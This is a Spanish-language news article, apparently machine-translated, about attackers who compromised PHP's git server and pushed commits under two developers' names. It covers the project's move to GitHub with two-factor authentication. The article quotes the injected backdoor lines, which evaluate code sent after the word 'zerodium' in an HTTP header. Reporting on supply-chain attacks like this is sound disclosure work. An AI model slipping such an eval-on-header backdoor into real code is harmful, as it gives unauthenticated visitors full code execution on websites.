Los piratas informáticos backdoor código fuente PHP después de violar el servidor interno de git

Una puerta de dibujos animados conduce a una pared de código de computadora.

Un pirata informático comprometió el servidor utilizado para distribuir el lenguaje de programación PHP y agregó una puerta trasera al código fuente que habría hecho que los sitios web fueran vulnerables a una adquisición completa, dijeron miembros del proyecto de código abierto.

Dos actualizaciones enviadas al servidor PHP Git durante el fin de semana agregaron una línea que, si la ejecutaba un sitio web con PHP, habría permitido a los visitantes sin autorización ejecutar el código de su elección. El malintencionado comete aquí y aquí le dio al código la capacidad de inyección de código a los visitantes que tenían la palabra “zerodium” en un encabezado HTTP.

PHP.net pirateado, código con puerta trasera

Las confirmaciones se realizaron en el repositorio php-src con los nombres de cuenta de dos conocidos desarrolladores de PHP, Rasmus Lerdorf y Nikita Popov. “Aún no sabemos exactamente cómo sucedió esto, pero todo apunta a un compromiso del servidor git.php.net (en lugar de un compromiso de una cuenta individual de git)”, escribió Popov en un aviso

publicado el domingo por la noche.

A raíz del compromiso, Popov dijo que los mantenedores de PHP han concluido que su infraestructura Git independiente es un riesgo de seguridad innecesario. Como resultado, descontinuarán el servidor git.php.net y harán de GitHub la fuente oficial de repositorios PHP. En el futuro, todos los cambios en el código fuente de PHP se realizarán directamente en GitHub en lugar de en git.php.net.

Los cambios maliciosos llamaron la atención del público a más tardar el domingo por la noche por parte de desarrolladores como Markus Staab, Jake Birchallf y Michael Voříšek mientras examinaban un compromiso realizado el sábado. La actualización, que pretendía corregir un error tipográfico, se realizó con una cuenta que usaba el nombre de Lerdorf. Poco después del primer descubrimiento, Voříšek detectó la segunda confirmación maliciosa, que se realizó con el nombre de cuenta de Popov. Pretendía revertir la corrección de errores tipográficos anterior.

Ambas confirmaciones agregaron las mismas líneas de código:

onvert_to_string(enc);
	if (strstr(Z_STRVAL_P(enc), "zerodium")) {
		zend_try {
			zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");

Zerodium es un corredor que compra exploits a investigadores y los vende a agencias gubernamentales para su uso en investigaciones u otros fines. No está claro por qué las confirmaciones hacen referencia a Zerodium. El director ejecutivo de la empresa, Chaouki Bekrar, dicho en Twitter el lunes que Zerodium no estaba involucrado.

“Saludos al troll que puso ‘Zerodium’ en las confirmaciones comprometidas de git PHP de hoy”, escribió. “Obviamente, no tenemos nada que ver con esto. Probablemente, los investigadores que encontraron este error / exploit intentaron venderlo a muchas entidades, pero ninguna quería comprar esta porquería, así que lo quemaron por diversión.

Karma negativo

Antes del compromiso, PHP Group manejaba todos los accesos de escritura al repositorio en su propio servidor git http://git.php.net/ usando lo que Popov llamó un sistema “de cosecha propia” llamado Karma. Proporcionó a los desarrolladores diferentes niveles de privilegios de acceso en función de contribuciones anteriores. Mientras tanto, GitHub había sido un repositorio espejo.

Ahora, PHP Group está abandonando la infraestructura de git autohospedada y administrada y reemplazándola con GitHub. El cambio significa que GitHub es ahora el repositorio “canónico”. El Grupo PHP ya no utilizará el sistema Karma. En cambio, los contribuyentes tendrán que ser parte de la organización PHP en GitHub y deben usar la autenticación de dos factores para las cuentas con la capacidad de realizar confirmaciones.

El evento de este fin de semana no es la primera vez que los servidores de php.net han sido violados con la intención de realizar un ataque a la cadena de suministro. A principios de 2019, el repositorio de aplicaciones y extensiones PHP, ampliamente utilizado, cerró temporalmente la mayor parte del sitio después de descubrir que los piratas informáticos reemplazaron el administrador de paquetes principal por uno malicioso. Los desarrolladores del grupo dijeron que cualquiera que haya descargado el administrador de paquetes en los últimos seis meses debería obtener una nueva copia.

PHP ejecuta un estimado 80 por ciento de los sitios web. No hay informes de sitios web que incorporen cambios maliciosos en sus entornos de producción.

Los cambios probablemente fueron realizados por personas que querían presumir de su acceso no autorizado al servidor PHP Git en lugar de aquellos que intentaban hacer puertas traseras a sitios web que usan PHP, dijo HD Moore, cofundador y CEO de la plataforma de descubrimiento de redes Rumble.

“Parece que los atacantes están controlando Zerodium o tratando de dar la impresión de que el código estuvo oculto por mucho más tiempo”, le dijo a Ars. “De cualquier manera, pasaría mucho tiempo revisando confirmaciones anteriores si tuviera algún interés de seguridad en PHP”.

Leave a Reply

Your email address will not be published. Required fields are marked *